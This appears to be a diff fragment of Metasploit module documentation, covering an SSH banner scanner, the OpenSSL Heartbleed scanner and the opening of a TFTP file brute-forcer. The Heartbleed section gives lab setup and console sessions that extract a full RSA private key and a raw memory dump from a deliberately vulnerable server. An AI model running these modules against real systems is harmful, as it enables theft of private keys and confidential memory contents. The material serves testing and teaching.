Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file://root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
|
||||
Either a comma space (`, `) separated list of hosts, or a file containing list of hosts, one per line. File Example: `file:/root/ssh_hosts.lst`, list example: `192.168.0.1` or `192.168.0.1, 192.168.0.2`
|
||||
|
||||
**STOP_ON_SUCCESS**
|
||||
|
||||
|
||||
@@ -0,0 +1,34 @@
|
||||
## Description
|
||||
|
||||
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
|
||||
|
||||
This module identifies the version of SSH service in use by the server based on the server's banner. Any SSH server should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module is tested on several different SSH services, such as:
|
||||
|
||||
- Virtual testing environment: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
- `github.com`: SSH-2.0-babeld-38be96bc
|
||||
- `gitlab.com`: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/ssh/ssh_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SSH-2.0 on GitHub
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_version
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com
|
||||
RHOSTS => github.com
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > run
|
||||
|
||||
[+] 140.82.118.4:22 - SSH server version: SSH-2.0-babeld-38be96bc
|
||||
[*] github.com:22 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,383 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The heartbleed bug was extremely well [documented](http://heartbleed.com), but essentially boils down to a client being able to specify
|
||||
how much memory is retrieved from the server when performing a TLS heartbeat. This results in an arbitrary memory read, where an attacker
|
||||
is able to read the contents of memory.
|
||||
|
||||
### Install OpenSSL 1.0.1d on Ubuntu 18.04
|
||||
|
||||
The following commands will download OpenSSL 1.0.1d, build and install it.
|
||||
Finally, we'll use the built in `s_server` to start the service to be scanned.
|
||||
`install_sw` is used to prevent an `install` [error](https://askubuntu.com/questions/454575/error-255-when-trying-to-install-openssl-1-0-1g-from-source).
|
||||
|
||||
```
|
||||
sudo apt-get install build-essential
|
||||
wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1d.tar.gz
|
||||
tar -zxf openssl-1.0.1d.tar.gz && cd openssl-1.0.1d
|
||||
./config
|
||||
sudo make
|
||||
sudo make install_sw
|
||||
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
/usr/local/ssl/bin/openssl s_server -key key.pem -cert cert.pem -accept 44330 -www
|
||||
```
|
||||
|
||||
If you receive `gethostbyname failure` error in `openssl`, add the client (metasploit)
|
||||
IP and hostname to your hosts file.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable OpenSSL, start the service
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/scanner/ssl/openssl_heartbleed```
|
||||
4. Do: ```set rhosts [ip]```
|
||||
5. Do: ```set action [ACTION]```
|
||||
6. Do: ```run```
|
||||
|
||||
## Options
|
||||
|
||||
**Action**
|
||||
|
||||
* SCAN: Scan the host to see if it is vulnerable. If `verbose` is set to `true`, also print the memory that was dumped. This is the default.
|
||||
* DUMP: Dump the memory and store it as loot.
|
||||
* KEYS: Similar to DUMP but scan the results for the private key.
|
||||
|
||||
**TLS_CALLBACK**
|
||||
|
||||
Protocol to use if a specific underlying protocol is required. Default is `None`.
|
||||
|
||||
**TLS_VERSION**
|
||||
|
||||
The specific version of TLS (or SSL) to use, if only specific ones are avaialble. Defaults to `1.0` (TLS1.0).
|
||||
|
||||
**MAX_KEYTRIES**
|
||||
|
||||
If Action is set to `KEYS`, the maximum amount of times to dump memory and attempt to retrieve the private key.
|
||||
Similar to `LEAK_COUNT` but only applies to `KEYS`. Default is `50`.
|
||||
|
||||
**STATUS_EVERY**
|
||||
|
||||
If Action is set to `KEYS`, how often the status should be printed. Default is `5`.
|
||||
|
||||
**DUMPFILTER**
|
||||
|
||||
A regular expresion (used in scan function) to use to filter the dump before storing. Default is `nil`.
|
||||
|
||||
**RESPONSE_TIMEOUT**
|
||||
|
||||
How long to wait for the server to respond in seconds. Default is `10`.
|
||||
|
||||
**LEAK_COUNT**
|
||||
|
||||
If Action is set to `SCAN` or `DUMP`, the maximum amount of times to dump memory.
|
||||
Similar to `MAX_KEYTRIES`. Default is `1`.
|
||||
|
||||
## Advanced Options
|
||||
|
||||
**HEARTBEAT_LENGTH**
|
||||
|
||||
How much memory should attempt to be retrieved. Default is `65535`.
|
||||
|
||||
**XMPPDOMAIN**
|
||||
|
||||
If `jabber` is selected for `TLS_CALLBACK`, the domain to use. Default is `localhost`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SCAN against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
|
||||
|
||||
With the default action of `SCAN` we can determine if the server is vulnerable or not.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222
|
||||
rhosts => 222.222.2.222
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rport 44330
|
||||
rport => 44330
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
|
||||
|
||||
[+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes
|
||||
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### KEYS against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
|
||||
|
||||
In order to help elicit the keys, we can run the following code to help populate memory with
|
||||
the keys:
|
||||
|
||||
```
|
||||
watch 'cat openssl-1.0.1d/key.pem; cat openssl-1.0.1d/cert.pem'
|
||||
```
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action KEYS
|
||||
action => KEYS
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
|
||||
|
||||
[*] 222.222.2.222:44330 - Scanning for private keys
|
||||
[*] 222.222.2.222:44330 - Getting public key constants...
|
||||
[*] 222.222.2.222:44330 - 2019-10-13 01:32:17 UTC - Starting.
|
||||
[*] 222.222.2.222:44330 - 2019-10-13 01:32:17 UTC - Attempt 0...
|
||||
[+] 222.222.2.222:44330 - 2019-10-13 01:32:18 UTC - Got the private key
|
||||
[*] 222.222.2.222:44330 - -----BEGIN RSA PRIVATE KEY-----
|
||||
MIIEpAIBAAKCAQEA7ax3L0LRt5uZQTFOiJkX2xRn9ww/G87gMkMBAdeEzph7a2/i
|
||||
C4stnajh9NsUbACv+dt8mtwgh0Vg4lMaI5iB9lXlqfsR17vIsW+/AZXj3Eo+B0QU
|
||||
l8MpVilDvm3Hee0tE9NGLMR+Vk1Eq0UL+w7Gc/IswkFtj8XGMQ3Jc6OaJ6Ofh5hF
|
||||
VlmyQBrtwvZ/20g5KtMbZFv1XX28bjEd47qfTo8nrnCsrjD7h7R42GrRw9hhvWse
|
||||
sEa9VyTwQF0W8mxTYFx/7evXeJNVw1drmhJrxpGfb9gl8qzQgf6PQoi1LXaPAdk5
|
||||
1cshKeGXmcA+1FR5HOdvWEqzCjMxApzdExNSgwIDAQABAoIBACmdYAT7ayL98JiU
|
||||
nI6YV6/5Y7bDAy3ITEMgrkV3Sf6ufjWykl65ENShJGcuEOZUPHvALZIj5uIoiK04
|
||||
JcSDyIWsRpk7p8UhUSOYUFZju1DwAupcxkpIVq2Kbh0itaGooJLvFEN0aDaOMu7W
|
||||
GSHtVVwp1CJzOE7LL0eZhWNlCvHTgwwobaAUYEyrDmkOdWskMC3RGu5JrrfKTK+5
|
||||
VUwMMAJ7Wf+d+xeTrNHwGGdEvHd23p1B1E3+axG0XqxI7wODz14iAWgd1zp2gSq2
|
||||
Ji/II0E8Okwl3AR0d8SD0cJeEPHWlrr/6LzBUTHanDBGe2SXP/SMFSvyEpoPw/s8
|
||||
vovI1okCgYEA8Ju7TuE4V2UQjZi8qcNAFnbxfcS9bk8S+BBKkgKtMY6wZT8h03fP
|
||||
ouYot1IaRxMVlErrUeVtD/YKD+nhNFFYZGCSChjAhvf1rq/wzRILWpdGZ3SF9UuR
|
||||
NlNpH1DcVZPOdTxCJ8DfjY72m/ugYysorQdmo9L58BhMKbfp9aHOR0cCgYEA/OCs
|
||||
73xWEECKS7of0B+3CKriYT7fROu5wP9gFl3/FR8q7275TG2Iwg0rDz4NLGJhcVQ8
|
||||
4bNAz+OglxqXkIVOf5Cuj8DibAw2JTr+MP5wQUaB0fPdwPcNw/fBq68x/+UpdcM2
|
||||
B98b2uykN3Q2Zd2g3VVrKUOb4yJlE1EEvVrt8OUCgYEAq6oQe3jIn+Hla4D7qgs6
|
||||
IE0AgwDpPliAaigFbCMoumDZjYL7eUrUA58+kXysbuU40jKZrjaIF4ktKKlvGcqn
|
||||
zAXya+24/xLOYLH6lfU30Ix5mLpUEOy3UBE2wTcJ3Ky18oLpmD9NwEutuyBOEDLs
|
||||
tHbBTkTqOdi8Dk+/RpcI+2UCgYEAj5qDeqiwMyCDqMd0w3sPNTPdxP2wSvJWlVww
|
||||
0+LjNbpyZnAt0JIvZIuX1VsWngrsbTA6Nq3V83i/vK+UPLUHQ/gEuYv+yP8STIg4
|
||||
y9fiJZ+Fn5YOa0OhJJVw/S9LhJc9uSt3Znbz2ZojE37CWYzHiom0hkVnpE/m+FY9
|
||||
C880amUCgYAw8b+F3iBCEzioeUWW62c89yQaV0Ci/BQgvkhLsRRZr5hlt8+NWjSv
|
||||
Nx2YT7eEcEIMOzOYF0zUH/gLo7UbZXGk/GlupqWP7kumwALz5Hu3gnx5+c69A0yL
|
||||
FbawD4i1LZxrihOuuy3nt34hIlprjtW2WV49NiWnbwEzZo6ejm5NRg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
|
||||
[*] 222.222.2.222:44330 - Private key stored in /root/.msf4/loot/20191012213218_default_222.222.2.222_openssl.heartble_250185.txt
|
||||
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### DUMP against s_server on Ubuntu 18.04 with OpenSSL 1.0.1d
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP
|
||||
action => DUMP
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > run
|
||||
|
||||
[+] 222.222.2.222:44330 - Heartbeat response with leak, 65535 bytes
|
||||
[+] 222.222.2.222:44330 - Heartbeat data stored in /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
|
||||
[*] 222.222.2.222:44330 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
|
||||
[*] exec: cat /root/.msf4/loot/20191012213447_default_222.222.2.222_openssl.heartble_500776.bin
|
||||
|
||||
���]�O���g�hE�_.[�MT��b��k�f��
|
||||
�"�!98����5����
|
||||
�� ��32��ED��/�A���
|
||||
� �@�DA8u-� b�,��Y'L��Մ�ձ3��-�bt����`�;ˋz���4���
|
||||
�`���w��Vnvv�x���'�`���Y$�H |��k E��ޞ=A�Gx�A��
|
||||
a��f�D�9I��W�ϋ3/�V�s�D%����|������Z;��1FF���)�vC���ny7m��N1v/�&�Y�T@��e�3�D�ʗ�O��pc��,�y��q�G�g��z��`^�s�Mk*����Ou���E�ぜ���l]�%<,�@��S�зN� "�����"���ct{uj��Ц�*N���a\{�5vRNW��-4S�^0b�e��7���=r���J>D��)V)C�m�y�-�F,�~VMD�E
|
||||
�s��'����EVY�@�����H9*�[�]}�n1㺟N�'�p��0���x�j���a�k�F�W$�@]�lS`\���x�U�Wk�kƑ�o�%�Ё��B��-v��9��!)ᗙ�>�Ty�oXJ�
|
||||
31��R��S0Q0U�]�v%C��#��*�B|c
|
||||
K0U#0��]�v%C��#��*�B|c
|
||||
K0U�0�0 *�H��
|
||||
���^��#
|
||||
怅W7��G�w�n�*wFcR�~����l8�C*]��@��g+;=�|8�b߬3
|
||||
|
||||
1�ŏmA�,�s��l1v�d����m�i^�������y�}����5�2��'��s�M����G �U�2[������N�^p](������*\��3(ic�U��{�
|
||||
E�DMV~�,F�-�y�m�C)V)×D>J���o�Ȼ����U���#�S�`E� ܚ|���l��-�
|
||||
�ok{�΄�C2��
|
||||
�g���N1A����B/w��!��)�U���B/w�����)�U�#�%��\ �rV���A#��_
|
||||
�m&r�]�J�
|
||||
;���/_��
|
||||
���rD���WMZt0���*ʟ����J�bB�U
|
||||
|
||||
|�ƭ���6���,s�d��7�s�8$,�I|��'�7ײ
|
||||
�X��j�%����uj}��Y�a'�Ks��V��c.���vn:
|
||||
B���c��q)GL�y0T�a&aZ�*q/#��������)�:յ�-����ހYi�R3�rb)��
|
||||
�����5E����X?3w`>�"��p�퓱�Φ����q�/�}=9����'�PuJ�]�ȝ?l�]�cR$����-m���H,�D^��Ș{��5x��oS���-�ݴ;�v��]��I@��Á�K7H��
|
||||
i�,�ut�~�
|
||||
߃��u*n��w����.�fU��� R�X��y��^��|�0��udh����F������>��-��y�n�Š�윀�1��P�����W
|
||||
��Ii�����/�|��+�l)Nv�c�3�U7��Xud@�o��z�(Lk ��0R|7���5�j^%����'L;S,"�����5 ӕv�;{q)�W�
|
||||
zJX��>j�;��f��t��DQ�Ez/�Rݜ13
|
||||
1�ŏmA�,�s����)!��9��v-��B���Ь�%�o���k�kW�U�x���\`Sl�]@�$W�F�k�a���j�x���0��p�'�N���1n�}]�[d*9H�����@�YVE����'��s�
|
||||
E�DMV~�,F�-�y�m�C)V)×D>J���o�Ȼ����U���#�S�`E� ܚ|���l��-�
|
||||
�ok{�΄�C2��
|
||||
�g���N1A����B/w��q��)�U!�Ɠ)�U���)�`0��)�U�@ɓ)�U!`��)�U!@��)�U!@��)�U���B/w��1��5E����X?3w`>�"��p�퓱�Φ����q�/�}=9����'�PuJ�]�ȝ?l�]�cR$����-m���H,�D^��Ș{��5x��oS���-�ݴq���)�U!��)�U��8NE<���GGΡ��)L��ңf�(+c��������'B<uΓU�PiS6�K��tgF�Z
|
||||
������
|
||||
�`dXQ4��
|
||||
�m�Q�J�G�R�(��w�!?e��1��J�On��}�v@é���eW8�N���p3�)�U A���)�U ���@'�/1����������������1����������������1����oI,�Щ�������\�ͭ�r��&�1�����w�ۯ�H��#
|
||||
G�eO�IB�����u1�X�^�v�ͭ|Q��^��v�XC8��'a�Yu���!࿕)�U1�Y�"&�
|
||||
����
|
||||
����A��W��GЊ!���)�U�\7ڊ!p��)�U���)�U `��)�U�\7ڊ!��)�U�\7ڊ!p��)�U�\7ڊ! ��)�U0��)�U P��)�U�\����сFAp�0�:%6U�\7ڊ!���)�U�\7ڊ �\7ڊ!�\7ڊ ��)�U 01���)�U1���)�UA�)�UA0)�UAapד)�U1���)�U����Z�Qe"�C)kUݠ�e6t7���6�u)��1�����
|
||||
mL�n�*�]`����D�>a���K�@V|�����Õ)�U<���!�!b��{����C�M>
|
||||
[����A8�%��Aθ�����ŪY�6K ��U߆�
|
||||
��XA��5j�X��q�'}��c�u���Ͷ�W���9�*5������g�3��Q �a7ڊ�a7ڊ�ĕ)�U�ĕ)�UP �W��(E ��
|
||||
[&(yu0�.���I�V���t�1��fE�I̮N;��p˫�]�2�&^} �� #����Ƃ�T�|i2�&~<�Q;T�B�TAﴕ:�/��H�^W��x�����]͓!��@@c7ڊ@c7ڊPd�)�UPd�)�Ulocalhost
|
||||
::1 localhost6.localdomain6 localhost6
|
||||
111.111.1.111 client
|
||||
|
||||
# The following lines are desirable for IPv6 capable hosts
|
||||
::1 localhost ip6-localhost ip6-loopback
|
||||
fe00::0 ip6-localnet
|
||||
ff02::1 ip6-allnodes
|
||||
ff02::2 ip6-allrouters
|
||||
ff02::3 ip6-allhosts
|
||||
�� <%�N�O#&���+-91��,�q��k�sNV^I�
|
||||
�n
|
||||
jgd0�`*�H�� ��y�M�,0
|
||||
0E1
|
||||
0 UAU10U
|
||||
|
||||
Some-State1!0U
|
||||
|
||||
201011031638Z0E1 Pty Ltd0
|
||||
0 UAU10U
|
||||
|
||||
Some-State1!0U
|
||||
|
||||
�0�ernet*�H��its Pty Ltd0�"0
|
||||
���w/Bѷ��A1N���g�
|
||||
?�2CׄΘ{ko�
|
||||
�-�����l���|�� �E`�S�#���U��ȱo����J>D��)V)C�m�y�-�F,�~VMD�E
|
||||
�s��'����EVY�@�����H9*�[�]}�n1㺟N�'�p��0���x�j���a�k�F�W$�@]�lS`\���x�U�Wk�kƑ�o�%�Ё��B��-v��9��!)ᗙ�>�Ty�oXJ�
|
||||
31��R��S0Q0U�]�v%C��#��*�B|c
|
||||
K0U#0��]�v%C��#��*�B|c
|
||||
K0U�0�0 *�H��
|
||||
���^��#
|
||||
怅W7��G�w�n�*wFcR�~����l8�C*]��@��g+;=�|8�b߬3
|
||||
|
||||
�Ѓ�������"�l1v�d����m�i^�������y�}����5�2�K?�!��M����G �U�2[������N�^p](������*\��3(ic�U��{�
|
||||
GA8u-� b�,��Y'L��Մ�ձ3��-�bt����`�;ˋz���4���
|
||||
�`���w��Vnvv�x���'�`���Y$�H |��k E��ޞ=A�Gx�A��
|
||||
a��f�D�9I��W�ϋ3/�V�s�D%����|������Z;��1FF���)�vC���ny7m��N1v/�&�Y�T@��e�3�D�ʗ�O��pc��,�y��q�G�g��z��`^�s�Mk*����Ou���E�ぜ����n��=*��LX-�*N���a\{�5vRNW��-4S�^0b�e��7���=r+A`d�)�Upt�)�U@q�U���)�U0;�)�U1����������������1߽�)bߜؐ0�x���.!�� ��4H�0܊�����\�A��������������������
|
||||
G�eO�IB�*�H��@q� ��y�M�,0
|
||||
0E1
|
||||
0 UAU10U
|
||||
|
||||
Some-State1!0U
|
||||
|
||||
201011031638Z0E1 Pty Ltd0
|
||||
0 UAU10U
|
||||
|
||||
Some-State1!0U
|
||||
|
||||
�0�ernet*�H��its Pty Ltd0�"0
|
||||
���w/Bѷ��A1N���g�
|
||||
?�2CׄΘ{ko�
|
||||
�-�����l���|�� �E`�S�#���U��ȱo����J>D��)V)C�m�y�-�F,�~VMD�E
|
||||
�s��'����EVY�@�����H9*�[�]}�n1㺟N�'�p��0���x�j���a�k�F�W$�@]�lS`\���x�U�Wk�kƑ�o�%�Ё��B��-v��9��!)ᗙ�>�Ty�oXJ�
|
||||
31��R��S0Q0U�]�v%C��#��*�B|c
|
||||
K0U#0��]�v%C��#��*�B|c
|
||||
K0U�0�0 *�H��
|
||||
���^��#
|
||||
怅W7��G�w�n�*wFcR�~����l8�C*]��@��g+;=�|8�b߬3
|
||||
|
||||
�Ѓ�������"�l1v�d����m�i^�������y�}����5�2�q�Upѓ)�U D�)�U!�]�v%C��#��*�B|c�����*\��3(ic�U��{�
|
||||
K!���)�U!��)�U!�]�v%C��#��*�B|c
|
||||
K!�B�)�U����'�U0ؓ)�U�8�)�U0��)�U�@��)�U 9�)�U0��)�U`��)�U���)�U���)�U���)�U
|
||||
G�eO��Pϓ)�U �U0v�'�U�X�'�U�X�'�U�b�'�U�b�'�U�b�'�Up�'�U�W�'�U�a�'�q�'�U�m�'�Uxt�'�U�����Q@��)�UA�����w�ۯ�H��#
|
||||
G�eO�IB�����u�)�U��)�U@!В�)�U!���)�U !p��)�U !���)�U�Ò)�U !���)�U 1�U���)�UQ ��)�UA����oI,�Щ�������\�ͭ�r��&��)�U@!1�Y�"&�
|
||||
����
|
||||
����A��W��GЊ`��)�U!Б�)�U�\7ڊ! ��)�U�\7ڊ��������!<�)�U�\7ڊ �Ò)�U�\7ڊ�1p��)�U!@��)�U�\7ڊ`��)�U1@��)�U0QA�Y�"&�
|
||||
����
|
||||
����A��W��GЊ@10��)�Uq0��)�U���)�U�Rݜ13
|
||||
1�ŏmA�,�s����)!��9��v-��B���Ь�%�o���k�kW�U�x���\`Sl�]@�$W�F�k�a���j�x���0��p�'�N���1n�}]�[d*9H�����@�YVE����'��s�
|
||||
E�DMV~�,F�-�y�m�C)V)×D>J���o�Ȼ����U���#�S�`E� ܚ|���l��-�
|
||||
�ok{�΄�C2��
|
||||
�g���N1A����B/w�����)�U,�܁���$z�K
|
||||
|
||||
��
|
||||
����k��졽N�"A�EV����<)�HN�m[��s��y�w��6��2]�Q���=Mx,f.|E=�,�����n�D9 h3�F�4���~n��
|
||||
Zd�Z*wc�\�l��`Hԑ���0���TnzBeժ+e A�#AV�̗��
|
||||
���]v��M��ɸ�=��O@��ʘEf�!�J3��Cvj������[�t.R��c�{���.�cy��ݵu&$�n�*�!����5�1Њغjx��fۢԐ`�c�����d�B�8�3�Hn7ȩ՜�ku����i2��B}o~�/n$ ��J������bqF�B�v��9IM�t'Vu����L5Z
|
||||
&�'��TO (�y��
|
||||
�`��~�Ie:��cdn��]"�g����}J\plA�FvKkR1:? ٭� -�@�_�B�|��B��S��f�cVES]��V�^��Bm�
|
||||
�@���z���?_@D~o�]�
|
||||
1
|
||||
V��WS��\���J�%�!݈��҅]�%�q���)�U1����������������08R6k��C����l�2�!S��|�G�j��G���>�w8q�_C��9�
|
||||
{=o�n�� ��3�E�b1p|�%�h���<�a:bhj��-�6Z���2�w��!pB�)�U@��)�U!�f{��?�Py0��\�����,�s/��ޫ���5�ơ�{*�{�N#W�"��,�VW���a�#��a9�k?b��9濞~���e�^�MQ�� ��n��w�x�Z%1�ŏmA�,�s��'��s�
|
||||
E�DMV~�,F�-�y�m�C)V)×D>J���o�Ȼ����U���#�S�`E� ܚ|���l��-�
|
||||
�ok{�΄�C2��
|
||||
�g���N1A����B/w��!�)�U���)�U�#�%��\ �rV���A#��_
|
||||
�m&r�]�J�
|
||||
;���/_��
|
||||
���rD���WMZt0���*ʟ����J�bB�U
|
||||
|
||||
|�ƭ���6���,s�d��7�s�8$,�I|��'�7ײ
|
||||
�X��j�%����uj}��Y�a'�Ks��V��c.���vn:
|
||||
B���c��q)GL�y0T�a&aZ�*q/#��������)�:յ�-����ހYi�R3�rb)��
|
||||
�����5E����X?3w`>�"��p�퓱�Φ����q�/�}=9����'�PuJ�]�ȝ?l�]�cR$����-m���H,�D^��Ș{��5x��oS���-�ݴ�� �:v���)6��jInld��P�-1��ɾ�
|
||||
��DyE�����l�"��e�#��Ǽ���-<KN�{�<�T�����&���E�:Y��D����ʎ�������c#�I��h5<�-�y�ұ�ST$m��U�8||�j�S.ϖ���W�~d��j��訦Dx�&�օ��U���Gj��b'�0��h�р.:�W����a���p�X'�X��N7es����C'�ɒ$(�bM��܍�Rݜ13
|
||||
1�ŏmA�,�s����)!��9��v-��B���Ь�%�o���k�kW�U�x���\`Sl�]@�$W�F�k�a���j�x���0��p�'�N���1n�}]�[d*9H�����@�YVE����'��s�
|
||||
E�DMV~�,F�-�y�m�C)V)×D>J���o�Ȼ����U���#�S�`E� ܚ|���l��-�
|
||||
�ok{�΄�C2��
|
||||
�g���N1A����B/w��q��)�U!�Ɠ)�U���)�``��)�U�@ɓ)�U!��)�U���B/w��!@��)�U!@��)�U���B/w��1��5E����X?3w`>�"��p�퓱�Φ����q�/�}=9����'�PuJ�]�ȝ?l�]�cR$����-m���H,�D^��Ș{��5x��oS���-�ݴq���)�U!��)�U��8NE<���GGΡ��)L��ңf�(+c��������'B<uΓU�PiS6�K��tgF�Z
|
||||
������
|
||||
�`dXQ4��
|
||||
�m�Q�J�G�R�(��w�!?e��1��J�On��}�v@é���eW8�N���p3�)�U A���)�U ���@'�/!�]7ڊ!�\7ڊ<�)�U 0���)�U1���)�U1��)�UAǕ)�U 1�\7ڊ�\7ڊ0 �\7ڊ!�)�U!�9�)!��)�U!@<�)�U !`;�)�U!0ӓ)1Q%c��ʹ�����������������!kaliUn�R�0h�"!ĝ���jfx��&���~�!�\7ڊ!ĝ���jfx��&���~�1����������������1����������������1
|
||||
V��WS��\���J�%�!݈��҅]�%�q�A`��'�Uѓ)�U�ջ'�UA��'�U��)�U�ջ'�UAP��)�U�ד)�U0��)�Ua1����������������� ĕ)�U�`p�0�"ϙ�L���f�p����^�=�6��=�q�nw�9��0D}�ci��t���G=�x����сFAp�0�:%6�Gh�F(��U�TDw'��le�G�`}��9-����Z�Qe"�C)kUݠ�e6t7���6�u)��1�����
|
||||
mL�n�*�]`����D�>a���K�@V|����q�'�UHn�'�U�v�'�U0v�'�U�X�'�U�X�'�U�b�'�U�b�'�U�b�'�Up�'�U�W�'�U�a�'�q�'�U�m�'�Uxt�'�U t�'�UxS�'�UpR�'�UPo�'�U�k�'�UXO�'�U`q�'�U�m�'�U�u�'�U(u�'�U�V�'�U�V�'�U`f�'�f�'�U]�'�U�\�'�U�o�'�U8l�'�U�U�'�Ue�'�U�[�'�U�p�'�U@m�'�U�n�'�U�k�'�U�M�'�UHM�'�U S�'�UR�'�UO�'�U�R�'�U�Q�'�U�N�'�U�M�'�U�L�'�UA���)�UA�@a7ڊ@a7ڊ@Ǖ)�U@Ǖ)�U��W��(E ��
|
||||
[&(yu0�.���I�V���t�1��fE�I̮N;��p˫�]�2�&^} �� #����Ƃ�T�|i2�&~<�Q;T�B�TAﴕ:�/��H�^W��x�����]͓!���]�O��bC��Z�A�gw��it��Zy
|
||||
```
|
||||
|
||||
The contents of `/etc/hosts` is visible in this file, as it was edited to prevent the `gethostbyname failure` issue previously noted.
|
||||
|
||||
### Utilizing repeat
|
||||
|
||||
Because arbitrary memory is dumped, a high volume application that uses openSSL will cycle potentially valuable data
|
||||
fairly often. The `repeat` command can be used to execute the module multiple times.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssl/openssl_heartbleed
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 222.222.2.222
|
||||
rhosts => 222.222.2.222
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set action DUMP
|
||||
action => DUMP
|
||||
msf5 auxiliary(scanner/ssl/openssl_heartbleed) > repeat -n 10 run
|
||||
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
[*] 222.222.2.222:443 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [ssl-heartbleed](https://nmap.org/nsedoc/scripts/ssl-heartbleed.html) script, we can replicate
|
||||
the `SCAN` action.
|
||||
|
||||
```
|
||||
# nmap -p 44330 --script ssl-heartbleed 222.222.2.222
|
||||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 17:52 EDT
|
||||
Nmap scan report for ubuntu1804.romain (222.222.2.222)
|
||||
Host is up (0.0017s latency).
|
||||
|
||||
PORT STATE SERVICE
|
||||
44330/tcp open unknown
|
||||
| ssl-heartbleed:
|
||||
| VULNERABLE:
|
||||
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|
||||
| State: VULNERABLE
|
||||
| Risk factor: High
|
||||
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
||||
|
|
||||
| References:
|
||||
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|
||||
| http://cvedetails.com/cve/2014-0160/
|
||||
|_ http://www.openssl.org/news/secadv_20140407.txt
|
||||
MAC Address: 00:0C:29:AA:AA:AA (VMware)
|
||||
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
|
||||
```
|
||||
@@ -0,0 +1,55 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to find files on a TFTP server. The default wordlist is [tftp.txt](https://github.com/rapid7/metasploit-framework/blob/master/data/wordlists/tftp.txt).
|
||||
This module will NOT attempt to download the entire file, it simply pulls the first 3 bytes to verify the file exists.
|
||||
|
||||
### Install
|
||||
|
||||
